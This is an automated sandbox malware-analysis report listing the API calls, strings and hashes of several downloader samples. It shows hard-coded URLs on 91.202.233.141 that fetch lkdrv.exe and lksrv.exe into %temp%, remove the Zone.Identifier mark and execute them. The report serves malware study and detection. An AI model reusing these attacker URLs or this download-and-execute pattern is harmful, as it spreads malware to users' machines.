Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36, xrefs: 006E1395
%s\%d%d.exe, xrefs: 006E1378
%temp%, xrefs: 006E131B

Memory Dump Source

Source File: 00000006.00000002.2367181590.00000000006E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000006.00000002.2367167524.00000000006E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367211185.00000000006E4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367223368.00000000006E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6e0000_158752420.jbxd

Similarity

API ID: Internet$CloseFileHandle$Openrandwsprintf$CountCreateDeleteEnvironmentExpandReadStringsTickWritembstowcssrandstrlen
String ID: %s:Zone.Identifier$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
API String ID: 770025858-111153409
Opcode ID: 90566ec5a0f69fe08c753128ef857c07176d0b81b01034685179efa87e9098da
Instruction ID: 3401b3e948bf641a66436dfdeb0bdbf53309647aca7989df88634913ce4096a5
Opcode Fuzzy Hash: 90566ec5a0f69fe08c753128ef857c07176d0b81b01034685179efa87e9098da
Instruction Fuzzy Hash: 284169B1942368ABEB20DB50DC4DFE9737BAB88701F0445D8F609AB2D1DA749B84CF54

Function 006E1000 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 60
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCR90 ref: 006E100E
memset.MSVCR90 ref: 006E101E
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 006E1057
Sleep.KERNEL32(000003E8), ref: 006E1067
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 006E1082
Sleep.KERNEL32(000003E8), ref: 006E109C

Strings

, xrefs: 006E1091
open, xrefs: 006E107B
D, xrefs: 006E1026

Memory Dump Source

Source File: 00000006.00000002.2367181590.00000000006E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000006.00000002.2367167524.00000000006E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367197726.00000000006E3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367211185.00000000006E4000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2367223368.00000000006E5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6e0000_158752420.jbxd

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$open
API String ID: 3787208655-2182757814
Opcode ID: 94f5cb1230f3e11a3b904c24e694fa3e1844234ed86705170fb9b77ad2ca80c0
Instruction ID: 91f5b0c389d8ebd8a154c4962698c8bf7883dc4ba5e1405c7cd79fa2de7338f4
Opcode Fuzzy Hash: 94f5cb1230f3e11a3b904c24e694fa3e1844234ed86705170fb9b77ad2ca80c0
Instruction Fuzzy Hash: 70117771E41358BBEB20DF90CC4AFDD7776AB15B01F100119F6086F2C0DAB19A44D755

Analysis Process: 524024912.exePID: 332, Parent PID: 6768COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00221000 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 40
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfW.USER32 ref: 00221015
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0022102B
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00221056
Sleep.KERNELBASE(000003E8), ref: 00221064
InternetCloseHandle.WININET(?), ref: 0022106E
Sleep.KERNELBASE(000003E8), ref: 00221079
InternetCloseHandle.WININET(00000000), ref: 00221086

Strings

http://91.202.233.141/PLTRESA, xrefs: 00221009
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36, xrefs: 00221026

Memory Dump Source

Source File: 00000007.00000002.2489279018.0000000000221000.00000020.00000001.01000000.00000008.sdmp, Offset: 00220000, based on PE: true

Associated: 00000007.00000002.2489256104.0000000000220000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2489367139.0000000000222000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2489656463.0000000000224000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_220000_524024912.jbxd

Similarity

API ID: Internet$CloseHandleOpenSleep$wsprintf
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36$http://91.202.233.141/PLTRESA
API String ID: 2685051180-2880211933
Opcode ID: 10e36c117bb3bafa3abfd4a6561f9af5948bc07e8f2b53d5ad8100f541034b35
Instruction ID: 14d05ec07919e58795e20e1f7234347409afc645aadfc35923e1d8d14815436c
Opcode Fuzzy Hash: 10e36c117bb3bafa3abfd4a6561f9af5948bc07e8f2b53d5ad8100f541034b35
Instruction Fuzzy Hash: E8017C74E80316FBD7359FE4ED0EF697678EB18701F101198BA09A61C0CAB12B59CA69

Function 00221090 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 41
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 002210AA
wsprintfW.USER32 ref: 002210C3
PathFileExistsW.KERNELBASE(?), ref: 002210D3
CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000002,00000002,00000000), ref: 002210F9
CloseHandle.KERNELBASE(000000FF), ref: 00221115

Strings

%temp%, xrefs: 002210A5
%s\85858737373d.txt, xrefs: 002210B7

Memory Dump Source

Source File: 00000007.00000002.2489279018.0000000000221000.00000020.00000001.01000000.00000008.sdmp, Offset: 00220000, based on PE: true

Associated: 00000007.00000002.2489256104.0000000000220000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2489367139.0000000000222000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2489656463.0000000000224000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_220000_524024912.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExistsExpandHandlePathStringswsprintf
String ID: %s\85858737373d.txt$%temp%
API String ID: 750032643-1651764242
Opcode ID: 815fd53a2c43b742d056211bc09f2f053e9189d539b851d971aaf4bdc812b720
Instruction ID: 52208627266347b7cbcffdc1fcc6c056c3d7ed11bbd8dd79ddf145fd318bda08
Opcode Fuzzy Hash: 815fd53a2c43b742d056211bc09f2f053e9189d539b851d971aaf4bdc812b720
Instruction Fuzzy Hash: A10184B055032CFBDB309BA0AC4EFE57378AB54700F404694A719960D1E6B25BAACFA5

Function 00221130 Relevance: 1.3, APIs: 1, Instructions: 12
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 00221138

Part of subcall function 00221090: ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 002210AA
Part of subcall function 00221090: wsprintfW.USER32 ref: 002210C3
Part of subcall function 00221090: PathFileExistsW.KERNELBASE(?), ref: 002210D3

Part of subcall function 00221000: wsprintfW.USER32 ref: 00221015
Part of subcall function 00221000: InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0022102B
Part of subcall function 00221000: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00221056
Part of subcall function 00221000: Sleep.KERNELBASE(000003E8), ref: 00221064
Part of subcall function 00221000: InternetCloseHandle.WININET(?), ref: 0022106E
Part of subcall function 00221000: Sleep.KERNELBASE(000003E8), ref: 00221079
Part of subcall function 00221000: InternetCloseHandle.WININET(00000000), ref: 00221086

Memory Dump Source

Source File: 00000007.00000002.2489279018.0000000000221000.00000020.00000001.01000000.00000008.sdmp, Offset: 00220000, based on PE: true

Associated: 00000007.00000002.2489256104.0000000000220000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2489367139.0000000000222000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000007.00000002.2489656463.0000000000224000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_220000_524024912.jbxd

Similarity

API ID: Internet$Sleep$CloseHandleOpenwsprintf$EnvironmentExistsExpandFilePathStrings
String ID:
API String ID: 344363592-0
Opcode ID: 6be1613f5ca6b5ab8af86f57000dd05c1324b0b8b70ce32bfc0ed13ad1745640
Instruction ID: c88b8584859c40f1c219df0f8b633cb81fd250036788b614f705b71aed381ba1
Opcode Fuzzy Hash: 6be1613f5ca6b5ab8af86f57000dd05c1324b0b8b70ce32bfc0ed13ad1745640
Instruction Fuzzy Hash: 0DC08C3112426A32911032F27C0BF36329C4B30BA2F401423B908C4086DD82D57598B1

Analysis Process: 259428477.exePID: 504, Parent PID: 6768COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00A310B0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 41
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 00A310CA
wsprintfW.USER32 ref: 00A310E3
PathFileExistsW.KERNELBASE(?), ref: 00A310F3
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000002,00000000), ref: 00A31119
CloseHandle.KERNEL32(000000FF), ref: 00A31135

Strings

%temp%, xrefs: 00A310C5
%s\afaefefaeff.txt, xrefs: 00A310D7

Memory Dump Source

Source File: 00000009.00000002.3131551771.0000000000A31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000009.00000002.3131540284.0000000000A30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3131617991.0000000000A34000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3131630118.0000000000A35000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a30000_259428477.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExistsExpandHandlePathStringswsprintf
String ID: %s\afaefefaeff.txt$%temp%
API String ID: 750032643-3182922545
Opcode ID: 2bb45e398fe450a1a09e43dcc26897d8d81f46c516796b04917ff134c79b2073
Instruction ID: 5c37779793f12fda13433c8b08791bf5752a99d566e8ad1295e555dc83bd8fe1
Opcode Fuzzy Hash: 2bb45e398fe450a1a09e43dcc26897d8d81f46c516796b04917ff134c79b2073
Instruction Fuzzy Hash: EE01A2B1944318BBDF20DBA09C4EFE67338AB44701F408798B715A20D1DBB49BC68FA4

Function 00A316A0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 66
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 00A316AE

Part of subcall function 00A310B0: ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 00A310CA
Part of subcall function 00A310B0: wsprintfW.USER32 ref: 00A310E3
Part of subcall function 00A310B0: PathFileExistsW.KERNELBASE(?), ref: 00A310F3

Part of subcall function 00A31230: GetLogicalDrives.KERNEL32 ref: 00A31236
Part of subcall function 00A31230: RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00A31284
Part of subcall function 00A31230: RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00A312B1
Part of subcall function 00A31230: RegCloseKey.ADVAPI32(?), ref: 00A312CE

wsprintfA.USER32 ref: 00A31755
strcmp.MSVCR90 ref: 00A3176A

Part of subcall function 00A31150: lstrcpyW.KERNEL32(?,?), ref: 00A311A3

Strings

http://91.202.233.141/lksrv.exe, xrefs: 00A3178F
http://91.202.233.141/lkdrv.exe, xrefs: 00A31776

Memory Dump Source

Source File: 00000009.00000002.3131551771.0000000000A31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000009.00000002.3131540284.0000000000A30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3131617991.0000000000A34000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3131630118.0000000000A35000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a30000_259428477.jbxd

Similarity

API ID: wsprintf$CloseDrivesEnvironmentExistsExpandFileLogicalOpenPathQuerySleepStringsValuelstrcpystrcmp
String ID: http://91.202.233.141/lkdrv.exe$http://91.202.233.141/lksrv.exe
API String ID: 357889991-2508253401
Opcode ID: 0d273ac004c00914fe05ed54678a8cdb4758d1a0ff2002c2ae55c4392dc1fe6e
Instruction ID: b7a307c660ba4239557350290bf6b46225e2a4b135d8d3b90c2d320efa942fa4
Opcode Fuzzy Hash: 0d273ac004c00914fe05ed54678a8cdb4758d1a0ff2002c2ae55c4392dc1fe6e
Instruction Fuzzy Hash: 1421D7B5D04318AFCB50EB94DD4BBAA7374AF04304F1441E9F51996243EB709B848FA1

Non-executed Functions

Function 00A312F0 Relevance: 40.4, APIs: 19, Strings: 4, Instructions: 129
networkfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00A312F9
srand.MSVCR90 ref: 00A31300
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 00A31320
strlen.MSVCR90 ref: 00A3132A
mbstowcs.MSVCR90 ref: 00A31341
rand.MSVCR90 ref: 00A31349
rand.MSVCR90 ref: 00A3135D
wsprintfW.USER32 ref: 00A31384
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 00A3139A
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00A313C9
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00A313F8
InternetReadFile.WININET(00000000,?,00000103,?), ref: 00A3142B
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 00A3145C
CloseHandle.KERNEL32(000000FF), ref: 00A3146B
wsprintfW.USER32 ref: 00A31484
DeleteFileW.KERNEL32(?), ref: 00A31494
CloseHandle.KERNEL32(000000FF), ref: 00A314B0
InternetCloseHandle.WININET(00000000), ref: 00A314BD
InternetCloseHandle.WININET(00000000), ref: 00A314CA

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36, xrefs: 00A31395
%s:Zone.Identifier, xrefs: 00A31478
%temp%, xrefs: 00A3131B
%s\%d%d.exe, xrefs: 00A31378

Memory Dump Source

Source File: 00000009.00000002.3131551771.0000000000A31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000009.00000002.3131540284.0000000000A30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3131617991.0000000000A34000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3131630118.0000000000A35000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a30000_259428477.jbxd

Similarity

API ID: Internet$CloseFileHandle$Openrandwsprintf$CountCreateDeleteEnvironmentExpandReadStringsTickWritembstowcssrandstrlen
String ID: %s:Zone.Identifier$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
API String ID: 770025858-111153409
Opcode ID: a6566e6feff58b74d19a5ad4e6ed0cda65bba7562e282250e9eebac085d38d84
Instruction ID: 606355659ac5d1cf3bc1f463086d4211763c3a804513bd47d6218457a6e7452b
Opcode Fuzzy Hash: a6566e6feff58b74d19a5ad4e6ed0cda65bba7562e282250e9eebac085d38d84
Instruction Fuzzy Hash: F941B5B2905318ABEF24DBA0DD4AFEA7379BB88711F0445D8F609A21C1DB749B85CF50

Function 00A314E0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 80
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCR90 ref: 00A31501
GetModuleHandleW.KERNEL32(ntdll.dll), ref: 00A31518
GetProcAddress.KERNEL32(00000000,RtlGetVersion), ref: 00A3153D
memset.MSVCR90 ref: 00A31595
GetVersionExA.KERNEL32(0000009C), ref: 00A315AE
memset.MSVCR90 ref: 00A315F5
GetVersionExA.KERNEL32(0000009C), ref: 00A3160E

Strings

ntdll.dll, xrefs: 00A31513
RtlGetVersion, xrefs: 00A31531

Memory Dump Source

Source File: 00000009.00000002.3131551771.0000000000A31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000009.00000002.3131540284.0000000000A30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3131617991.0000000000A34000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3131630118.0000000000A35000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a30000_259428477.jbxd

Similarity

API ID: memset$Version$AddressHandleModuleProc
String ID: RtlGetVersion$ntdll.dll
API String ID: 3060919973-1489217083
Opcode ID: 590455813328a8c81d82bad444eb077523b07623ae9caec49c181326b4025aa7
Instruction ID: 91f9e676a21cb70aae161f8312d8fb26985e8ab822d6c9f5c0c0ea04ce3b08f2
Opcode Fuzzy Hash: 590455813328a8c81d82bad444eb077523b07623ae9caec49c181326b4025aa7
Instruction Fuzzy Hash: B7318071C4536C9BDF39CB618C4ABEAB774AB15701F0449D8F109A5190D7758F84CF91

Function 00A31000 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 60
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCR90 ref: 00A3100E
memset.MSVCR90 ref: 00A3101E
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00A31057
Sleep.KERNEL32(000003E8), ref: 00A31067
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 00A31082
Sleep.KERNEL32(000003E8), ref: 00A3109C

Strings

open, xrefs: 00A3107B
D, xrefs: 00A31026
, xrefs: 00A31091

Memory Dump Source

Source File: 00000009.00000002.3131551771.0000000000A31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000009.00000002.3131540284.0000000000A30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3131617991.0000000000A34000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3131630118.0000000000A35000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a30000_259428477.jbxd

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$open
API String ID: 3787208655-2182757814
Opcode ID: 432761a8a603e7415eb6209eacbcdf1249a3b817c6e1d79f233efcce56e3f3a7
Instruction ID: f059914a8eb5218b0354fa3e4700f8c34c5dab240a7abb53dbc7259cb125e340
Opcode Fuzzy Hash: 432761a8a603e7415eb6209eacbcdf1249a3b817c6e1d79f233efcce56e3f3a7
Instruction Fuzzy Hash: 38112E75E88348BBEB24DFD0CD46FDE7778AB15B01F200115FB09AE2C0D6B5AA448B65

Function 00A31230 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLogicalDrives.KERNEL32 ref: 00A31236
RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00A31284
RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00A312B1
RegCloseKey.ADVAPI32(?), ref: 00A312CE

Strings

NoDrives, xrefs: 00A312A8
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00A31277

Memory Dump Source

Source File: 00000009.00000002.3131551771.0000000000A31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000009.00000002.3131540284.0000000000A30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3131617991.0000000000A34000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3131630118.0000000000A35000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a30000_259428477.jbxd

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: bd20111c606d6e18e07cbc957a505453bd6e93976ecf7aafe063001024fc4e5f
Instruction ID: c5f375295e2bb901da49a7b002dbae477743b9f958be70ec8490b1d396da8c9f
Opcode Fuzzy Hash: bd20111c606d6e18e07cbc957a505453bd6e93976ecf7aafe063001024fc4e5f
Instruction Fuzzy Hash: A311E4B1E0420AABDF14CFD1D94ABEEBBB4BB08705F108518E611A6280D7B86A45CB91

Function 00A311B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDriveTypeW.KERNEL32(00A3118F), ref: 00A311BD
QueryDosDeviceW.KERNEL32(00A3118F,?,00000208), ref: 00A311FC
StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 00A31214

Strings

\??\, xrefs: 00A31208

Memory Dump Source

Source File: 00000009.00000002.3131551771.0000000000A31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000009.00000002.3131540284.0000000000A30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3131562220.0000000000A33000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3131617991.0000000000A34000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3131630118.0000000000A35000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a30000_259428477.jbxd

Similarity

API ID: DeviceDriveQueryType
String ID: \??\
API String ID: 1681518211-3047946824
Opcode ID: a4f7d35f0c544b9bfeda76716bf63ba930c91bb4b9962d3482842d6e3b1047e6
Instruction ID: 1272ed9c3bb95eaddcaec6c68bdb199fd82368e6efa55654db3d864e06178f60
Opcode Fuzzy Hash: a4f7d35f0c544b9bfeda76716bf63ba930c91bb4b9962d3482842d6e3b1047e6
Instruction Fuzzy Hash: 7301ECB5940208ABCF64CFD5ED49BDDB7B8AB05705F0081A9BA04A6240D6349B86CF94

Analysis Process: 2958729589.exePID: 1260, Parent PID: 6768COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 003D10B0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 41
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 003D10CA
wsprintfW.USER32 ref: 003D10E3
PathFileExistsW.KERNELBASE(?), ref: 003D10F3
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000002,00000000), ref: 003D1119
CloseHandle.KERNEL32(000000FF), ref: 003D1135

Strings

%temp%, xrefs: 003D10C5
%s\afaefefaeff.txt, xrefs: 003D10D7

Memory Dump Source

Source File: 0000000A.00000002.3841735259.00000000003D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 003D0000, based on PE: true

Associated: 0000000A.00000002.3841648329.00000000003D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.3841766770.00000000003D4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.3841794210.00000000003D5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3d0000_2958729589.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExistsExpandHandlePathStringswsprintf
String ID: %s\afaefefaeff.txt$%temp%
API String ID: 750032643-3182922545
Opcode ID: 4b37b4e4d58abb31558f8fb25ba4673316ae086546383d09c3f3b9a0bce9e54a
Instruction ID: d687d0a9e21b2be283c5e1858cbc4950ab6b7f40556bb2806d4eaa694e0777b5
Opcode Fuzzy Hash: 4b37b4e4d58abb31558f8fb25ba4673316ae086546383d09c3f3b9a0bce9e54a
Instruction Fuzzy Hash: 210184B5940318BBD721DB60AC4AFE5733CAB44700F4045A5A715911D1D6B05F858BA6

Function 003D16A0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 66
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 003D16AE

Part of subcall function 003D10B0: ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 003D10CA
Part of subcall function 003D10B0: wsprintfW.USER32 ref: 003D10E3
Part of subcall function 003D10B0: PathFileExistsW.KERNELBASE(?), ref: 003D10F3

Part of subcall function 003D1230: GetLogicalDrives.KERNEL32 ref: 003D1236
Part of subcall function 003D1230: RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 003D1284
Part of subcall function 003D1230: RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 003D12B1
Part of subcall function 003D1230: RegCloseKey.ADVAPI32(?), ref: 003D12CE

wsprintfA.USER32 ref: 003D1755
strcmp.MSVCR90 ref: 003D176A

Part of subcall function 003D1150: lstrcpyW.KERNEL32(?,?), ref: 003D11A3

Strings

http://91.202.233.141/lkdrv.exe, xrefs: 003D1776
http://91.202.233.141/lksrv.exe, xrefs: 003D178F

Memory Dump Source

Source File: 0000000A.00000002.3841735259.00000000003D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 003D0000, based on PE: true

Associated: 0000000A.00000002.3841648329.00000000003D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.3841753530.00000000003D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.3841766770.00000000003D4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.3841794210.00000000003D5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_3d0000_2958729589.jbxd

Similarity

API ID: wsprintf$CloseDrivesEnvironmentExistsExpandFileLogicalOpenPathQuerySleepStringsValuelstrcpystrcmp
String ID: http://91.202.233.141/lkdrv.exe$http://91.202.233.141/lksrv.exe
API String ID: 357889991-2508253401
Opcode ID: 2a328331203939afccd496ce6c3a138921a48f04071b83235531daf9b5de18e2
Instruction ID: 7e4083138a8911ba010e70e40918f179ad2cb2e06304f2382a66b9752d692135
Opcode Fuzzy Hash: 2a328331203939afccd496ce6c3a138921a48f04071b83235531daf9b5de18e2
Instruction Fuzzy Hash: 6E2195B6D00318BBDB22EBA4FC8A7AA7374AF00344F1441DBE51996353DA719F849F52

Non-executed Functions

Function 003D12F0 Relevance: 40.4, APIs: 19, Strings: 4, Instructions: 129
networkfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 003D12F9
srand.MSVCR90 ref: 003D1300
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 003D1320
strlen.MSVCR90 ref: 003D132A
mbstowcs.MSVCR90 ref: 003D1341
rand.MSVCR90 ref: 003D1349
